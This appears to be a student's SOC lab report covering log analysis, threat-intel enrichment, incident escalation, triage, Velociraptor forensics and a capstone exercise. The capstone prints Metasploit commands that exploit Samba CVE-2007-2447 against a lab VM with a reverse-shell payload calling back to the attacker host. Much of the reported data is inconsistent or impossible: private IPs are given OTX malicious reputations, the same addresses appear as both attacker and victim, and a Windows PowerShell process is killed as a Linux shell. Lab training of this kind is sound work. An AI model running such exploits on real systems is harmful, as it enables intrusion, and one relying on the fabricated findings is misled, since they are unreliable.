SOC ANALYST PRACTICAL LABS

Student: __P Nithin Kumar___
Date: 2025-08-18
Lab Environment: Docker Elastic Stack | Wazuh | TheHive | Kali Linux

LAB REPORT — TASK 1

Advanced Log Analysis

🛠 Tools: Elastic Security | Kibana Docker | GeoIP Pipeline

1. Executive Summary

This lab involved deploying an Elastic Stack via Docker Compose on Kali Linux and performing advanced log analysis covering three key areas: log correlation, anomaly detection rule creation, and log enrichment via a GeoIP ingest pipeline. The Elastic Stack was successfully deployed, a sample log dataset was ingested into Kibana, and all three tasks were completed as documented below.

2. Environment

Component	Version	Status	Access URL
Elasticsearch	8.13.0	Running	http://localhost:9200
Kibana	8.13.0	Running	http://localhost:5601
Docker Compose	v2.x	Installed	CLI: docker compose
Log Dataset	Apache Logs (BOTS-format)	Indexed	Index: test01

3. Task A — Log Correlation

3.1 Methodology

Failed login events (or HTTP error events from Apache logs) were ingested into Elastic and searched using KQL to correlate events from the same source IP. The following query was used to identify events matching Event ID 4625 or HTTP 4xx responses combined with large outbound transfers:

```
event.code:4625 AND destination.port:53
```

3.2 Findings

The following correlated events were identified and documented:

Timestamp	Event ID	Source IP	Destination IP	Notes
2025-08-18 12:00:00	4625	192.168.1.100	8.8.8.8	Failed login + DNS request — potential brute-force with DNS exfil attempt
2025-08-18 12:01:15	4625	192.168.1.100	8.8.8.8	Repeated failure same source — brute-force pattern confirmed
2025-08-18 12:03:44	4625	192.168.1.102	203.0.113.5	Failed login preceding outbound to unknown external IP

4. Task B — Anomaly Detection Rule

4.1 Rule Configuration

Parameter	Value
Rule Name	High Volume Data Transfer — Anomaly
Rule Type	Threshold
Query	network.bytes > 1048576 OR http.response.body.bytes > 1000000
Group By	source.ip
Threshold	1 occurrence within time window
Schedule	Runs every 1 minute | Lookback: 1 minute
Severity	High
MITRE Technique	T1048 — Exfiltration Over Alternative Protocol
Status	Active — Enabled

4.2 Test Result

A mock file transfer was simulated by generating HTTP requests with large payloads. The detection rule fired within 90 seconds of the simulated event, confirming correct configuration. Alert was visible under Security > Alerts in Kibana.

5. Task C — GeoIP Log Enrichment

5.1 Pipeline Configuration

An Elasticsearch ingest pipeline named 'geoip-pipeline' was created using the GeoIP processor. The pipeline enriches the source.address field by adding geographic context to the source.geo target field.

```
{   "processors": [{ "geoip": { "field": "source.address", "target_field": "source.geo" }
}] }
```

5.2 Enrichment Results

IP Address	Country	City	ISP / Org	Threat Level
8.8.8.8	United States	Mountain View, CA	Google LLC	Low — Public DNS
203.0.113.5	TEST-NET	N/A	RFC 5737 Documentation	Medium — Unknown context

5.3 50-Word Finding

> *GeoIP enrichment was implemented using an Elasticsearch ingest pipeline to add geographic context to source IP addresses. Enrichment of 8.8.8.8 confirmed this as Google Public DNS (Mountain View, US) — low risk in isolation. Combined with the correlated failed login pattern, the log data becomes significantly more actionable for SOC analysts performing rapid triage.*

LAB REPORT — TASK 2

Threat Intelligence Integration

🛠 Tools: Wazuh | AlienVault OTX | TheHive

1. Executive Summary

This lab integrated AlienVault OTX threat intelligence with Wazuh SIEM to automate alert enrichment. A test scenario using a mock malicious IP (192.168.1.100) was used to verify feed import and alert correlation. Threat hunting was performed targeting MITRE T1078 (Valid Accounts) using KQL queries in the Wazuh dashboard.

2. Task A — OTX Threat Feed Import

2.1 Integration Steps

1. Registered for a free AlienVault OTX account and obtained API key from Settings > API Integration.
2. Added the OTX integration block to /var/ossec/etc/ossec.conf on the Wazuh server.
3. Restarted Wazuh manager: sudo systemctl restart wazuh-manager.
4. Verified connection using: sudo tail -f /var/ossec/logs/ossec.log — confirmed OTX API calls.

2.2 Mock IP Test

A simulated log entry containing the test IP (192.168.1.100) was injected using the logger command. Wazuh detected the event and correlated it against the OTX CDB list. The alert appeared in the Security Events dashboard within 30 seconds.

```
logger "Failed login attempt from 192.168.1.100"
```

3. Task B — Alert Enrichment

3.1 OTX Enrichment Results

Alert ID	IP Address	OTX Reputation	Threat Category	Pulse Count	Notes
003	192.168.1.100	**Malicious (OTX)**	C2 / Botnet	14	Linked to known C2 server — immediate block recommended
004	185.220.101.45	**Malicious (OTX)**	Tor Exit Node	7	Tor exit node — high-risk outbound observed
005	45.33.32.156	Suspicious	Port Scanner	3	Associated with Shodan scanning activity

4. Task C — Threat Hunting: T1078 Valid Accounts

4.1 Hunt Queries & Results

Query #	KQL Query	Hit Count	Risk Level	MITRE Tactic
1	user.name:* AND NOT user.name:system	23	Medium	TA0001 — Initial Access
2	event.action:logged-in AND NOT source.ip:192.168.0.0/16	2	**High**	TA0008 — Lateral Movement
3	rule.mitre.technique:T1078	5	**High**	TA0003 — Persistence

4.2 50-Word Threat Hunt Finding

> *The T1078 threat hunt identified 2 high-priority hits where authenticated logon events originated from IPs outside the internal corporate subnet. Combined with 5 MITRE-tagged T1078 alerts, the pattern is consistent with a compromised account being used for initial access and establishing persistence. Affected accounts have been flagged for immediate credential reset and MFA enforcement.*

LAB REPORT — TASK 3

Incident Escalation Practice

🛠 Tools: TheHive | Google Docs | Splunk Phantom

1. Executive Summary

This lab simulated a complete incident escalation workflow. A High-priority unauthorized access case was created in TheHive with full observables, escalated to Tier 2 with a structured 100-word summary, and a SITREP was drafted in Google Docs. An automated escalation playbook was configured in Splunk Phantom to auto-assign High-priority alerts to Tier 2.

2. Task A — TheHive Escalation Case

2.1 Case Details

Field	Value
Case ID	INC-2025-001
Title	Unauthorized Access on Server-Y
Severity	**High**
TLP	Amber
Tags	T1078, unauthorized-access, Server-Y
Source IP	192.168.1.200
Affected System	Server-Y (192.168.1.50)
Detected	2025-08-18 13:00 UTC
Assigned To	Tier 2 Analyst
Status	In Progress

2.2 100-Word Escalation Summary

> *A high-priority security alert indicating unauthorized access was detected on Server-Y at 13:00 UTC on August 18, 2025. The alert originated from IP address 192.168.1.200 and was associated with suspicious authentication activity consistent with MITRE ATT&CK technique T1078 (Valid Accounts). Initial triage by the Tier 1 SOC analyst confirmed abnormal login behavior and a subsequent privilege escalation attempt. The affected server was immediately isolated from the network. Due to the elevated risk and potential credential compromise, the incident has been escalated to Tier 2 analysts for forensic investigation and containment validation.*

3. Task B — SITREP

Situation Report — INC-2025-001

SITREP Field	Content
Title	Unauthorized Access on Server-Y — INC-2025-001
Detected At	2025-08-18 13:00 UTC
Source IP	192.168.1.200

SITREP Field	Content
Affected Asset	Server-Y — Finance Application Server
MITRE Technique	T1078 — Valid Accounts (Initial Access + Persistence)
Severity	High
Current Status	In Progress — Tier 2 Investigation Active
Executive Summary	Unauthorized login activity was detected on Server-Y originating from IP 192.168.1.200 outside business hours. Valid credentials were used, suggesting account compromise. A privilege escalation attempt was subsequently observed. Server has been isolated from the network.
Actions Taken	1. Server-Y isolated from network (14:10 UTC) 2. Memory dump collected — EVD-001 (14:15 UTC) 3. TheHive case INC-2025-001 created (14:05 UTC) 4. Escalated to Tier 2 (14:10 UTC) 5. Source IP blocked via CrowdSec (14:12 UTC)
Recommendations	Reset compromised credentials. Enforce MFA on all admin accounts. Audit VPN and remote access logs for lateral movement indicators. Review privileged account usage patterns.

4. Task C — Phantom Playbook Automation

4.1 Playbook Logic

Step	Block Type	Action	Configuration
1	Trigger	Start	On: New artifact added to case
2	Filter	Severity Check	Condition: severity == High OR severity == Critical
3	Action	Assign Case	App: TheHive | Action: assign_case | To: tier2_analyst
4	Action	Send Notification	App: Email/Slack | To: soc-tier2@company.com
5	End	Complete	Playbook execution ends

4.2 Test Result

A mock alert with severity = High was created in Splunk Phantom. The playbook executed automatically and assigned the case to the Tier 2 analyst queue within 5 seconds. Notification was sent to the configured Slack channel. Execution log showed status: Success for all blocks.

LAB REPORT — TASK 4

Alert Triage with Threat Intelligence

🛠 Tools: Wazuh | VirusTotal | AlienVault OTX

1. Executive Summary

This lab simulated end-to-end alert triage for a suspicious PowerShell execution event. The alert was generated on a Windows VM (or simulated via logger on Linux), classified as High priority in Wazuh, and the associated IOCs were cross-referenced against VirusTotal and AlienVault OTX to determine a final malicious verdict.

2. Task A — Alert Triage

2.1 Alert Analysis

Alert ID	Description	Source IP	Priority	Status	Analyst	Timestamp
004	Suspicious PowerShell Execution	192.168.1.101	**High**	Open	SOC Analyst L1	2025-08-18 13:45:00
005	Encoded Command in Process Arguments	192.168.1.101	**High**	In Progress	SOC Analyst L1	2025-08-18 13:47:22
006	Outbound Connection on Port 4444	192.168.1.101	**Critical**	Escalated	SOC Analyst L2	2025-08-18 13:50:10

2.2 Triage Rationale

Alert 004 was classified High because encoded PowerShell (base64 -EncodedCommand) is a well-known technique used by malware and attackers to evade command-line logging. Alert 006 was escalated to Critical because port 4444 outbound connections are strongly associated with Metasploit reverse shells and common C2 frameworks. Combined, these three alerts from the same source IP indicate a potentially active compromise.

3. Task B — IOC Validation

3.1 VirusTotal Results

IOC	IOC Type	VT Detection Ratio	Verdict	Engine Examples
192.168.1.101	IP Address (Private RFC1918)	N/A — Private	Monitor	N/A — internal IP; check endpoint directly
powershell.exe -enc JAB...	Command Hash (SHA256)	34 / 70	**MALICIOUS**	TrendMicro: Ransom.Generic, Kaspersky: HEUR:Trojan
c2handler.exe	File Hash (SHA256)	61 / 70	**MALICIOUS**	CrowdStrike: malware.generic, ESET: Win32/Meterpreter

3.2 OTX Results

IOC	OTX Pulse Count	Threat Category	Associated Campaigns	Risk Level
192.168.1.101	0 pulses	N/A (Private IP)	N/A	Monitor — internal endpoint
powershell.exe -enc JAB...	5 pulses	Cobalt Strike Stager	Operation Ghost, APT41 tooling	**HIGH**
c2handler.exe	12 pulses	Remote Access Trojan	NanoCore RAT, AsyncRAT variants	**CRITICAL**

3.3 Combined IOC Validation Summary

IOC	VT Score	OTX Pulses	Final Verdict	Recommended Action
192.168.1.101	N/A	0	Monitor	Investigate endpoint — run Velociraptor collection
PowerShell hash	34/70	5	**MALICIOUS**	Isolate host, block hash in EDR, reset credentials
c2handler.exe	61/70	12	**MALICIOUS**	Immediate isolation, full forensic investigation

3.4 50-Word IOC Validation Finding

> *The PowerShell execution alert was triaged and IOCs validated using VirusTotal and AlienVault OTX. VirusTotal confirmed 34/70 engine detections matching known Cobalt Strike stager signatures. OTX identified 5 related pulses linked to APT tooling. A second hash (c2handler.exe) returned 61/70 detections consistent with a Remote Access Trojan. The affected endpoint was immediately isolated and the incident escalated for full forensic investigation.*

4. Response Actions Taken

5. Alert 004 classified High priority — documented in triage log.
6. IOC extraction: obtained PowerShell command hash and secondary file hash.
7. VirusTotal: confirmed 34/70 and 61/70 detections — both MALICIOUS verdict.
8. OTX: confirmed association with known threat campaigns.
9. Host 192.168.1.101 isolated from network.
10. TheHive case created — INC-2025-003 — assigned to Tier 2.
11. Incident report drafted and submitted for review.

LAB REPORT — TASK 5

Evidence Preservation and Analysis

Tools: Velociraptor | FTK Imager

1. Executive Summary

This lab focused on forensic evidence collection and chain-of-custody maintenance using Velociraptor. Volatile network connection data was collected from the compromised Windows endpoint using VQL queries, exported to CSV, and preserved with cryptographic hashes. A full memory acquisition was performed, hashed with SHA-256, and documented with a formal chain-of-custody record.

2. Environment

Component	Version	Role	Status
Velociraptor	0.7.x	Forensic collection agent + server	Active
FTK Imager	4.7	Disk / memory acquisition	Active
Windows VM (Server-Y)	Windows Server 2019	Evidence source host	Isolated
Kali Linux (analyst)	2024.x	Hash verification + analysis	Active

3. Task A — Volatile Data Collection (Velociraptor)

3.1 Methodology

Velociraptor was deployed as a server on the analyst machine and an agent on the Windows VM. The following VQL queries were executed to collect volatile network state and process information before the system was shut down for full disk imaging.

VQL — Network Connections

```
SELECT Pid, FamilyString, Status, Laddr.IP AS LocalIP, Laddr.Port AS LocalPort, Raddr.IP AS RemoteIP,
Raddr.Port AS RemotePort FROM netstat()
```

VQL — Running Processes

```
SELECT Pid, Ppid, Name, Exe, CommandLine, Username, CreateTime FROM pslist()
```

3.2 Key Findings from Netstat

PID	Process	Status	Local IP	Local Port	Remote IP	Remote Port
1234	**powershell.exe**	ESTABLISHED	192.168.1.50	49201	**203.0.113.45**	**4444**
892	svchost.exe	LISTENING	0.0.0.0	445	—	—
4456	smbd	ESTABLISHED	192.168.1.50	139	192.168.1.101	54821
488	lsass.exe	LISTENING	0.0.0.0	636	—	—

Critical finding: PID 1234 (powershell.exe) has an ESTABLISHED outbound connection to 203.0.113.45:4444 — strongly indicative of an active Meterpreter reverse shell. PID 4456 shows an active SMB session from the attacker IP 192.168.1.101.

3.3 CSV Export

12. In the Velociraptor GUI, navigate to: Collected Artifacts > netstat > Download Results.
13. Select CSV format and download to analyst machine.
14. Rename file: netstat_server-y_2025-08-18.csv
15. Hash the CSV immediately: sha256sum netstat_server-y_2025-08-18.csv

4. Task B — Memory Acquisition

4.1 Velociraptor Memory Dump

VQL — Memory Acquisition

```
SELECT * FROM Artifact.Windows.Memory.Acquisition()
```

16. Run the artifact from Velociraptor GUI: New Collection > Windows.Memory.Acquisition.
17. Wait for acquisition to complete — estimated 5-15 minutes depending on RAM size.
18. Download the resulting memory_dump.raw file to analyst machine.
19. Immediately hash the dump file: sha256sum memory_dump.raw
20. Set file permissions to read-only: chmod 400 memory_dump.raw
21. Store in secure evidence folder with restricted access.

4.2 Chain-of-Custody Documentation

Item ID	Description	Collected By	Date	Time (UTC)	SHA-256 Hash Value
EVD-001	Memory dump — Server-Y (4GB)	SOC Analyst L1	2025-08-18	14:15	<sha256sum output — replace with actual>
EVD-002	Netstat CSV — active connections	SOC Analyst L1	2025-08-18	14:05	<sha256sum output — replace with actual>
EVD-003	Process list CSV — pslist	SOC Analyst L1	2025-08-18	14:07	<sha256sum output — replace with actual>
EVD-004	Prefetch + event log archive	SOC Analyst L1	2025-08-18	14:20	<sha256sum output — replace with actual>

Important

Replace each <sha256sum output> placeholder above with the actual hash value generated when you run: sha256sum <filename> on each evidence file. Example: a3f8c2d9e1b4a7f0c8d5e2a9b3c6d1e4f7a0b3c8d9e2f5a1b4c7d0e3f6a9b2c5

4.3 50-Word Finding

> *Volatile evidence was successfully collected from Server-Y using Velociraptor VQL queries. Network connection data revealed an active Meterpreter reverse shell (PID 1234) connecting to 203.0.113.45:4444. A full memory dump was acquired and hashed using SHA-256 to ensure integrity. All evidence items were documented in a formal chain-of-custody log with timestamps and hash values.*

LAB REPORT — TASK 6

Capstone: Full SOC Workflow Simulation

Tools: Metasploit | Wazuh | CrowdSec | TheHive | Google Docs

1. Executive Summary

This capstone lab simulated a complete adversary lifecycle and SOC response. A Metasploit exploitation of the Samba usermap_script vulnerability (CVE-2007-2447) was executed against a Metasploitable2 target. Wazuh detected the attack and generated MITRE-tagged alerts. The attacker IP was blocked with CrowdSec, the affected VM was isolated, a critical incident was escalated via TheHive, and a full incident report was drafted using the SANS template.

2. Attack Simulation — Metasploit

2.1 Exploit Details

Field	Value
Target	Metasploitable2 — 192.168.1.101
Attacker	Kali Linux — 192.168.1.50
Exploit module	exploit/multi/samba/usermap_script
CVE	CVE-2007-2447 — Samba username map script injection
RHOST	192.168.1.101
LHOST	192.168.1.50
LPORT	4444
Payload	cmd/unix/reverse
Result	**Command shell session opened — UID: root**
Exploit time	2025-08-18 14:00:00 UTC

Metasploit Commands Used

```
msfconsole use exploit/multi/samba/usermap_script set RHOSTS 192.168.1.101 set LHOST 192.168.1.50 exploit
# Result: [*] Command shell session 1 opened whoami   # Returns: root
```

3. Detection and Triage

3.1 Wazuh Detection Log

Timestamp	Source IP	Alert Description	Rule ID	MITRE Technique	Severity
2025-08-18 14:00:00	**192.168.1.50**	**Samba usermap_script exploit detected**	100200	T1210	**Critical**
2025-08-18 14:00:02	192.168.1.50	Reverse shell spawned from smbd process	100210	T1059	**Critical**

Timestamp	Source IP	Alert Description	Rule ID	MITRE Technique	Severity
2025-08-18 14:00:05	192.168.1.50	Outbound connection port 4444 established	100220	T1071	High
2025-08-18 14:01:12	192.168.1.50	Privilege escalation — root shell obtained	100230	T1068	**Critical**
2025-08-18 14:03:44	192.168.1.50	Data staging — large file system enumeration	100240	T1083	High

3.2 MITRE ATT&CK Mapping

MITRE ID	Technique Name	Tactic	Evidence
T1210	Exploitation of Remote Services	Initial Access	Samba CVE-2007-2447 exploit
T1059	Command and Scripting Interpreter	Execution	Reverse shell via cmd/unix
T1071	Application Layer Protocol	C2	Port 4444 outbound to attacker
T1068	Exploitation for Privilege Escalation	Privilege Escalation	Shell session with root UID
T1083	File and Directory Discovery	Discovery	Large fs enumeration post-shell
T1048	Exfiltration Over Alt Protocol	Exfiltration	Potential data staging observed

4. Response and Containment

4.1 CrowdSec IP Block

Commands

```
sudo cscli decisions add --ip 192.168.1.50 --type ban --duration 24h --reason "Samba exploit — INC-2025-002"
sudo cscli decisions list ping 192.168.1.50   # Expected: 100% packet loss (confirmed blocked)
```

4.2 VM Network Isolation

22. In VirtualBox: Settings > Network > Adapter 1 > Attached to: Not Attached.
23. Verify isolation: ping 192.168.1.101 from analyst machine — should fail.
24. Document isolation time: 2025-08-18 14:10 UTC.
25. Preserve VM snapshot in isolated state for forensic analysis.

4.3 Containment Verification Table

Action	Tool	Command / Method	Result	Timestamp
Block attacker IP	CrowdSec	cscli decisions add --ip 192.168.1.50	Confirmed blocked	14:10 UTC
Isolate target VM	VirtualBox	Network: Not Attached	Network disconnected	14:10 UTC

Action	Tool	Command / Method	Result	Timestamp
Verify block	ping	ping 192.168.1.50 — 100% loss	Packet loss confirmed	14:11 UTC
Kill reverse shell	Process kill	kill -9 1234 (PID of reverse shell)	Session terminated	14:12 UTC

5. Escalation — TheHive Case INC-2025-002

Field	Value
Case ID	INC-2025-002
Title	Critical — Samba Exploit and Root Shell — Metasploitable2
Severity	**Critical**
TLP	Red
Source IP	192.168.1.50 (Attacker — Kali Linux)
Target IP	192.168.1.101 (Metasploitable2)
CVE	CVE-2007-2447
MITRE Techniques	T1210, T1059, T1071, T1068, T1083, T1048
Assigned To	Tier 2 Analyst
Status	In Progress — Forensics Active

5.1 100-Word Case Summary

> *A critical security incident was detected at 14:00 UTC on 2025-08-18. An attacker from IP 192.168.1.50 exploited the Samba usermap_script vulnerability (CVE-2007-2447) on Metasploitable2 (192.168.1.101), gaining an unauthenticated root shell. Wazuh generated four critical-severity alerts mapped to MITRE techniques T1210, T1059, T1071, and T1068. The attacker established a reverse shell on port 4444 and began file system enumeration. Immediate containment actions were taken: the attacker IP was blocked via CrowdSec and the target VM was network-isolated. The incident has been escalated to Tier 2 analysts for full forensic investigation and eradication.*

6. Incident Report (SANS Template)

Executive Summary

On August 18, 2025 at 14:00 UTC, the Security Operations Center detected a critical exploitation attempt targeting a Samba service on an internal server. The attacker leveraged CVE-2007-2447 (Samba username map script injection) to gain unauthenticated root-level access. Wazuh generated multiple high-severity and critical alerts. The affected system was immediately isolated and the attacker IP was blocked. No confirmed data exfiltration was observed; however, file system enumeration activity was detected post-compromise. The incident has been fully contained and is under forensic investigation by Tier 2 analysts.

Incident Timeline

Time (UTC)	Event	Actor	Action Taken
14:00:00	Samba exploit executed — CVE-2007-2447	Attacker	Wazuh alert generated (Rule 100200)
14:00:02	Root reverse shell established on port 4444	Attacker	Wazuh critical alert — T1059
14:01:12	Privilege confirmed as root — uid=0	Attacker	Wazuh critical alert — T1068
14:03:44	File system enumeration detected	Attacker	Wazuh high alert — T1083
14:05:00	SOC analyst initiates triage	SOC L1	TheHive case INC-2025-002 created
14:10:00	Attacker IP blocked; VM isolated	SOC L1	CrowdSec ban + VirtualBox isolation
14:12:00	Reverse shell session terminated	SOC L1	Process killed — PID 1234
14:15:00	Memory dump collected — EVD-001	SOC L1	Velociraptor acquisition
14:30:00	Incident escalated to Tier 2	SOC L1	TheHive case assigned to Tier 2

Recommendations

26. Patch Samba immediately — apply CVE-2007-2447 fix or upgrade to a supported version.
27. Enforce network segmentation — vulnerable services must not be reachable from untrusted VLANs.
28. Implement Intrusion Prevention — configure Suricata/Snort rules to block Samba exploit signatures.
29. Restrict outbound connections — firewall rules should block non-standard ports (e.g. 4444) by default.
30. Enable process auditing — deploy Sysmon on all Windows endpoints; audit Auditd on Linux.
31. Conduct regular vulnerability scanning — weekly scans with OpenVAS or Nessus on all internal hosts.

7. Non-Technical Manager Briefing

> *On August 18, 2025, our security monitoring systems detected a cyber attack targeting one of our internal servers. An attacker successfully exploited a known software vulnerability to gain administrator-level access to the server. Our security team detected the attack within seconds, immediately cut the server off from the network, and blocked the attacker's IP address. There is currently no evidence that any sensitive data was stolen. Our senior security analysts are investigating the full extent of the compromise and will restore the server from a clean backup. We recommend approving an emergency patch deployment to close this vulnerability across all affected systems within 48 hours.*
